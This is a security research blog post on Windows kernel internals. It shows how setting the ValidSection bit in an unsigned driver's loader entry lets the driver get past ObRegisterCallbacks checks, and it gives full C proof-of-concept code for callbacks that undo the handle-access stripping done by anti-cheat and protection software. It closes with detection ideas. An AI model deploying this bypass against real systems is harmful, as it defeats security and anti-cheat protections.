It was brought to my attention that in an article on my former research portfolio[2] I mentioned another way to manipulate an unsigned driver and perform some black magic. This black magic is done by modifying a flag in the _DRIVER_OBJECT allowing for the loaded driver to supersede altitude checks, register callbacks both with the Object Management and the Process Management components of the kernel. This is primarily done using an unsigned driver since using a signed driver does not result in the STATUS_ACCESS_DENIED error upon registration. We’ll get into the details of why and how this works.

All test were performed on Windows 7 x64 through Windows 10 Version 1803 (17134.137). If you use different versions either below or above the range specified your results may differ. I highly recommend using Windows 10 1803 (17134.137) as it was primarily tested on the Windows 10 operating system, however, the checks and the conditional that allows the bypass of those checks was present on Windows 7.

This article assumes you have experience with the Windows Kernel and Driver Development. If you’re unfamiliar, I’ll link resources and do my best to give detailed explanations so that those who are moderately experienced with C and reverse engineering can put the pieces together themselves. We’re going to jump right in on this article, so if you’re unfamiliar with my previous article I recommend you click the link in the overview section above. I go over the process of NtLoadDriver, the structures initialized and inserted into various lists, and other parts of the process of loading a driver in Windows 10. Please visit that link if any of this is new to you. The callback we’ll be using in the demonstration within this article is an Object Callback, otherwise referred to as an ObCallback.

Introduction

When a driver is loaded various structures are created and added to different tables in the kernel. The specific structure that is of interest in this write up is the _DRIVER_OBJECT structure, and more specifically – the DriverSection field inside _DRIVER_OBJECT. This DriverSection field is noted in my previous article as being the section object associated with the loaded driver and that is inserted into various kernel accounting lists, such as the PsLoadedModuleList. This DriverSection field is noted as PVOID in the structure definition, but upon acquiring the pointer it can be cast to the type _KLDR_DATA_TABLE_ENTRY. Below is the definition of the _KLDR_DATA_TABLE_ENTRY structure from Windows 10 1803 (17134.135).

typedef struct _KLDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; PVOID ExceptionTable; UINT32 ExceptionTableSize; PVOID GpValue; struct _NON_PAGED_DEBUG_INFO *NonPagedDebugInfo; PVOID ImageBase; PVOID EntryPoint; UINT32 SizeOfImage; UNICODE_STRING FullImageName; UNICODE_STRING BaseImageName; UINT32 Flags; UINT16 LoadCount; union { UINT16 SignatureLevel : 4; UINT16 SignatureType : 3; UINT16 Unused : 9; UINT16 EntireField; } u; PVOID SectionPointer; UINT32 CheckSum; UINT32 CoverageSectionSize; PVOID CoverageSection; PVOID LoadedImports; PVOID Spare; UINT32 SizeOfImageNotRounded; UINT32 TimeDateStamp; } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

This structure is the only one needed to be modified for the supersession of other drivers and callbacks to occur. Before we dig into the dirty details, let’s go over some of the process involved in registering an object callback, the kernel loader entry structure, and where the ability to bypass code integrity checks lies. (Technically, it is a code integrity bypass since it validates the flags of the callback to determine if it can be registered.)

Object Callbacks and Registering Callbacks

Object callbacks are an important component of the Windows Kernel and allow for security software to perform various operations on objects when they are created. When we register a callback with the Object Manager, we register a PreOperation routine and a PostOperation routine that is called when a handle to the object types of interest is created or duplicated. PreOperation callback routines registered for the same operation are called in order of their respective altitudes from highest to lowest. If you have minifilter drivers in a stack, the I/O request is passed to the highest altitude driver for processing, then continues down the chain to the next. Once an I/O request for completion is received the manager calls the PostOperation callbacks in order from lowest to highest altitude. If you’re unfamiliar with altitudes, and their purpose with drivers, I suggest reading the information provided here.

Now that we’ve distinguished the difference between Pre and Post operation routines, let’s identify the object types we’re going to be using. The object types that are supported and documented by the Object Operation Registration structure are PsProcessType, PsThreadType, and ExDesktopObjectType. There are various others that can be used, however, they are undocumented and not of importance in this article. The types that we’re interested in are PsProcessType and PsThreadType. To connect the dots, this means that when a handle to a process is created or duplicated, our driver PreOperation and PostOperation routine will get their turn to perform some operation, if any, on the handle that is created.

For instance, we have a process that is in need of protection from third-party software. One of the ways a third-party application can operate on the protected process is by opening (creating) a handle to the process and using it to read and write into the protected process’ address space. The API that is primarily used is OpenProcess, which does just that – create or open a handle to the process associated with the process identifier passed in. When this handle is created to an object type of interest – in this case, PsProcessType – execution is eventually given to our PreOperation handler. Inside of this routine, we can perform operations on the _OB_PRE_OBERATION_INFORMATION structure passed into our callback routine. Within that structure is a field for the operation-specific parameters for the PreOperation callback, _OB_PRE_OPERATION_PARAMETERS. In this union, the callback can modify the various members and their fields. A common theme is for protection software to register a callback, check if the process to be protected is the target, and then modify a field within the _OB_PRE_CREATE_HANDLE_INFORMATION structure inside the operation parameters called DesiredAccess to modify the access mask requested in the call to OpenProcess.

To help visualize, when a process handle is created this callback routine is eventually (depending on its altitude) given the ability to modify access permissions. This is a typical implementation that various Anti-Cheats for games uses to prevent game hackers from easily getting access to their process.

OB_PREOP_CALLBACK_STATUS TestPreOperationCallback( _In_ PVOID RegistrationContext, _In_ POB_PRE_OPERATION_INFORMATION OperationInformation ) { __try { auto ProcessImageName = PsGetProcessImageFileName( IoGetCurrentProcess() ); // // Check for name of protected process. // if( strstr( ProcessImageName, "dont_hack_me.exe" ) ) { OperationInformation->Parameters->CreateHandleInformation.DesiredAccess = MODIFIED_ACCESS_MASK; } } __except ( EXCEPTION_EXECUTE_HANDLER ) { } return OB_PREOP_SUCCESS; }

Once this is executed, and control is given back to the caller of OpenProcess the handle has been stripped of it’s requested access and has limited access to the desired process.

So what’s the point of all this? Well, armed with the information given above, and the title, we’re going to use this information to override the object callbacks of protection software using an unsigned driver to restore our originally request access to the target process. No matter the altitude of the driver loaded by protection software, we will be able to modify the access in both our Pre and Post operation callbacks.

Overriding Object Callbacks

While reversing the Windows Kernel, it was noticed that inside of ObRegisterCallbacks there is a call to MmVerifyCallbackFunctionCheckFlags. Beyond various vaguely written sources, some in Chinese from 2013[1], I decided to investigate further.

Figure 1. The snippet of Pseudo-C from ObRegisterCallbacks

Inside MmVerifyCallbackFunctionFlags, I noticed that to determine if it returns success or failure, it checks if the region is valid and performs a bitwise AND on a field in the driver section object. This field happens to be the Flags field, documented in the above _KLDR_DATA_TABLE_ENTRY definition.

Figure 2. Snippet of Pseudo-C from MmVerifyCallbackFunctionCheckFlags

After seeing this, I wanted to try registering a callback with shellcode mapped into kernel memory through use of a TDLv (Turla Driver Loader variant). I was met with a notification in DbgView that registration failed – STATUS_ACCESS_DENIED. This was because the data mapped by TDLv was not inserted into the PsLoadedModuleList or PsLoadedModuleAvlTree, meaning that the section entry was invalid, causing MmVerifyCallbackFunctionCheckFlags to fail. Using the information from the previous article, linked in the overview, I used the internal routine MiProcessLoaderEntry and passed through my unsigned driver’s DriverSection; and then re-attempted registration. The result was the same, however, my unsigned driver now was in the appropriate structures to look legitimate. This is where I began digging into what that flag was, and as it turns out it has to do with code integrity. Why it’s still checked when code integrity should be forced? I have no idea. It may be an artifact from when code integrity wasn’t enforced in older versions of Windows since this is present in Windows 7 Kernel.

The operation to change the outcome of this registration? Flip that bit by performing a bitwise OR with 0x20 (which sets bit 5 of the `Flags` member) – this bit is also called the ValidSection bit. On the third attempt to register an object callback with an unsigned driver, it succeeded.

Proof of Concept

Our proof of concept is designed to restore the original access mask requested when the call to OpenProcess was made. We’ll accomplish this by creating two object callbacks, both will be PreOperation routines, and install it at the lowest and highest altitude allowed by the operating system. This is done to ensure that our PreOperation callback routine is called first to acquire the original access mask requested, and last so that we are able to modify the access mask after all other callback routines have executed and restore the original access mask.

Below is the code and explanation for the Proof of Concept.

— DriverEntry

#define LDRP_VALID_SECTION 0x20 EXTERN_C NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath ) { NTSTATUS Status = STATUS_SUCCESS; UNICODE_STRING SymbolicName; UNICODE_STRING DeviceName; PDEVICE_OBJECT DeviceObject; // // Set the ValidSection bit to bypass altitude limits // and allow for callbacks to be registered in an unsigned // driver / manually mapped data. // PKLDR_DATA_TABLE_ENTRY DriverSection = ( PKLDR_DATA_TABLE_ENTRY )DriverObject->DriverSection; DriverSection->Flags |= LDRP_VALID_SECTION; // // Install our callback at the lowest altitude allowed. // PocInstallCallbacks( 20000, 429999 ); DriverObject->MajorFunction[ IRP_MJ_CREATE ] = DispatchCreate; DriverObject->MajorFunction[ IRP_MJ_CLOSE ] = DispatchClose; DriverObject->MajorFunction[ IRP_MJ_DEVICE_CONTROL ] = DispatchIoctl; DriverObject->DriverUnload = DriverUnload; RtlInitUnicodeString( &DeviceName, DEVICE_NAME ); Status = IoCreateDevice( DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject ); if ( !NT_SUCCESS( Status ) ) return Status; RtlInitUnicodeString( &SymbolicName, SYMBOL_NAME ); Status = IoCreateSymbolicLink( &SymbolicName, &DeviceName ); if ( !NT_SUCCESS(Status ) ) { IoDeleteDevice( DeviceObject ); return Status; } return STATUS_SUCCESS; }

In the driver entrypoint, we perform initialization as usual except that we toggle the ValidSection bit in the DriverSection flags. Then we install our callbacks at the lowest and highest altitude since the object manager will no longer validate where the callbacks are registered.

— PocInstallCallbacks

NTSTATUS NTAPI PocInstallCallbacks( ULONG PreCallbackAltitudeLow, ULONG PreCallbackAltitudeHigh ) { NTSTATUS Status; // // Below we initialize our callback registration structures // for the highest altitude PreOperation routine. // OB_OPERATION_REGISTRATION HighestCallback; HighestCallback.ObjectType = PsProcessType; HighestCallback.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; HighestCallback.PreOperation = PreOperation_HighAlt; HighestCallback.PostOperation = NULL; UNICODE_STRING HighestCallbackAltitude; WCHAR Buffer[ 0x64 ]; HighestCallbackAltitude.Buffer = Buffer; HighestCallbackAltitude.Length = HighestCallbackAltitude.MaximumLength = sizeof( Buffer ); RtlInt64ToUnicodeString( PreCallbackAltitudeHigh, 10, &HighestCallbackAltitude ); OB_CALLBACK_REGISTRATION HighAltRegistration; HighAltRegistration.Version = OB_FLT_REGISTRATION_VERSION; HighAltRegistration.OperationRegistrationCount = 1; HighAltRegistration.Altitude = HighestCallbackAltitude; HighAltRegistration.RegistrationContext = NULL; HighAltRegistration.OperationRegistration = &HighestCallback; Status = ObRegisterCallbacks( &HighAltRegistration, &HighAltCallbackHandle ); if( !NT_SUCCESS( Status ) ) return Status; // // Now we do the same as above, but for our lowest altitude // callback routine. // OB_OPERATION_REGISTRATION LowestCallback; LowestCallback.ObjectType = PsProcessType; LowestCallback.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; LowestCallback.PreOperation = PreOperation_LowAlt; LowestCallback.PostOperation = NULL; UNICODE_STRING LowestCallbackAltitude; WCHAR Buffer2[ 0x64 ]; LowestCallbackAltitude.Buffer = Buffer2; LowestCallbackAltitude.Length = LowestCallbackAltitude.MaximumLength = sizeof( Buffer2 ); RtlInt64ToUnicodeString( PreCallbackAltitudeLow, 10, &LowestCallbackAltitude ); OB_CALLBACK_REGISTRATION LowAltRegistration; LowAltRegistration.Version = OB_FLT_REGISTRATION_VERSION; LowAltRegistration.OperationRegistrationCount = 1; LowAltRegistration.Altitude = LowestCallbackAltitude; LowAltRegistration.RegistrationContext = NULL; LowAltRegistration.OperationRegistration = &LowestCallback; Status = ObRegisterCallbacks( &LowAltRegistration, &LowAltCallbackHandle ); if( !NT_SUCCESS( Status ) ) return Status; }

In the above snippet, we initialize our callback registration structures and register the callbacks – since the ValidSection bit is toggled on registration succeeds.

— PreOperation_HighAlt

OB_PREOP_CALLBACK_STATUS PreOperation_HighAlt( PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OperationInformation ) { OriginalAccessMask = OperationInformation->Parameters->CreateHandleInformation.DesiredAccess; return OB_PREOP_SUCCESS; }

It’s important to note the differences in what occurs in the high altitude callback versus the low. In the above code excerpt, you’ll notice we are storing the original access mask requested when the handle was created in a global. We can only do this because the callback was registered at the highest altitude meaning it will be called first when the operating system traverses the callback list.

— PreOperation_LowAlt

OB_PREOP_CALLBACK_STATUS PreOperation_LowAlt( PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OperationInformation ) { __try { auto ProcessName = PsGetProcessImageFileName( IoGetCurrentProcess() ); if ( strstr( ProcessName, "poc_obj_callbacks.exe" ) ) { OperationInformation->Parameters->CreateHandleInformation.DesiredAccess = OriginalAccessMask; } } __except ( EXCEPTION_EXECUTE_HANDLER ) { // // Handle any possible exceptional scenarios... // } return OB_PREOP_SUCCESS; }

In this callback routine, we get the image name and search for the name of our process with strstr, if it is found we use the OperationInformation structure to restore the original access mask.

Conclusion

In reality, despite the length of this article, this method is trivial to implement and use. Once this driver is installed and runs, the target process will no longer be protected by their object callbacks. The ability to supersede and bypass altitude limit checks is problematic and allows unsanctioned third-party software that can write code to kernel memory and execute it the ability to circumvent handle access filtering mechanisms registered by the legitimate software. This technique isn’t super common, but in recent years it has become more popular. In my experience, the application of this technique has been seen applied to video games that have anti-cheat software filtering access masks of handles opened to the game. The anti-cheats only allow a select few processes to maintain the access masks originally requested when the handle was created, some have now stripped them down to the bare minimum for proper system functionality. That being said, there are likely many detection vectors available for use by anti-malware suites and anti-cheat software, the simplest way would be to validate altitudes of registered object callbacks and determine if the callback routines are in a legitimately signed driver.

There are many other interesting quirks present in the kernel in the latest versions of Windows, a few of which are related to the various parts of the driver object. Those are in need of their own article to properly detail the what, and how.

As noted in the earlier sections, this method is not new. It was first mentioned in late 2013, on Windows 8. However, it has not been well documented and the sources that I looked at were copy-pasted excerpts that had no further investigation. The research done here was to understand what was happening, and I hope I made it clear to the reader what is going on behind the scenes. I plan to update this article once I have completed identified all the bits in the Flags member of the DriverSection.

References

[1] http://xiaonieblog.com/?post=117 [2] Hiding Drivers on Windows 10

Note: All other references were inserted as hyperlinks when mentioned.

As always, thanks for reading – feel free to leave any feedback in the comments section.